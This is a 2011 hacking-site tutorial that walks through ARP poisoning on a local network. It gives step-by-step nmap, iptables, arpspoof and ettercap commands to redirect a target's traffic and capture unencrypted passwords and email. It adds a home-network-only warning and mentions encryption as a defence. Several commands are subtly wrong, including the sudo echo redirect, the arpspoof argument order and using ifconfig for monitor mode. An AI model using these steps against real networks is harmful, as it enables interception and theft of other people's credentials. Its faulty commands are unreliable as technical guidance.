An Intro to ARP Poisoning

By **Alex Long** 12/01/2011 9:13 pm

When your computer first connects to a nework, it sends out a request on the network to lease an IP from the router. The router then leases your computer an unused IP address, which is used as a unique routing address for sending traffic that is meant for *you*, to you. As everything tends to, this method has its flaws.

When you're on a network, local attackers can perform what is called a *man-in-the-middle* attack. When performing the attack, it makes it possible to sniff traffic and intercept unencrypted data, like passwords or email messages. So if you are one of the many people who do not use any form of cryptographic protocol when you browse public internet, your data is open to analysis, among other things. An attack can succeed only when the attacker can impersonate each endpoint to the satisfaction of the other—it is an attack on mutual authentication. Most cryptographic protocols include some form of endpoint authentication specifically to prevent MITM attacks. For example, SSL authenticates the server using a mutually trusted certification authority.

To perform this locally, we need to spoof ourselves to look like our router and start requesting traffic from another computer on our network. In order to trick another computer on our network into sending their traffic to ours, we need to ARP poison. This will make the target computer believe we are the default gateway and that it should be sending its traffic through us. After, we route the traffic to the actual default gateway and the gateway will send traffic back that we can forward to the victim. Everything appears to be normal and working on both ends.

ARP or **A**ddress **R**esolution **P**rotocol is a method of letting the network map out IPs rather than giving each computer a table of the mapping. It is vulnerable to poisoning because there is no method of checking the authenticity of ARP replies built-in to the protocol. Thus, replies can be spoofed from other addresses on the network.

Warnings

- I'm serious when I say, "Do this on your home network". Anyone with a decent intrusion detection system can easily detect an ARP poisoning attack by analyzing the packets logically. Why would a computer on the network be requesting and sending out ARP reply frames asking for another computer to connect to it? A friend of mine was in college and was poisoning the network and was caught within 10 minutes (they claim they used triangulation, but who knows).

Requirements

- Linux OS
- Admin or root privileges
- At least two computers on your home network

Step 1 Download & Install the Toolset

Text in **bold** means it is a terminal.

We need to gather all of our tools needed to demonstrate this technique on ourselves.

Obtain the following packages from your repository:

- dsniff
- iptables
- ettercap
- nmap

To Install the packages:

1. Extract the packages.
   tar zxvf <package name>
2. Configure the packages for compilation.
   ./configure
3. Compile and install.
   sudo make && sudo make install

Step 2 ARP Poison & Run Ettercap

1. Get your wireless card into monitor mode, so you're capable of sniffing traffic.
   sudo ifconfig wlan0 down && sudo ifconfig wlan0 mode monitor && sudo ifconfig wlan0 up
2. Now we need to scan the local network for our target IP. This means we are pinging everyone on the local network and when we get replies, we can see their IP and pick them as a target.
   sudo nmap -sP 192.168.1.0/24
3. Next, enable IP forwarding so we can foward our target computer's traffic.
   sudo echo 1 > /proc/sys/net/ipv4/ip_forward

4. In order to forward the traffic properly, it needs to be rerouted to a port that we can listen on before forwarding.
   iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1024
5. It's time to ARP poison your second computer to make it send traffic to you.
   sudo arpspoof -i [interface] -t [router ip, target ip]
6. Finally, set up ettercap to capture traffic between you and the client.
   sudo ettercap -Tq -i wlan0 -w ~/Desktop/cap

When the target computer sends enecrypted data across the network (non-HTTPS websites), ettercap will see it and dump the packets into the file "cap" on the Desktop. Examine the packets with a hex editor. Any unencrypted information will be displayed in hexadecimal, which is essentially an easy way to convery binary digits into hexadecimal, and hexadecimal to ASCII, which is readable to normal humans. I used wxHexEditor. As you can see, the "hidden" data can be seen in plain text on the right side when opened.

It can happen easily, but can also be thwarted in a pinch using Tor as an encrypted connection to the internet.

If you have any questions, please consult with users of the IRC channel, they are the Null Byte Sages. Please, follow me on Twitter if you like reading and want the latest articles as they come out.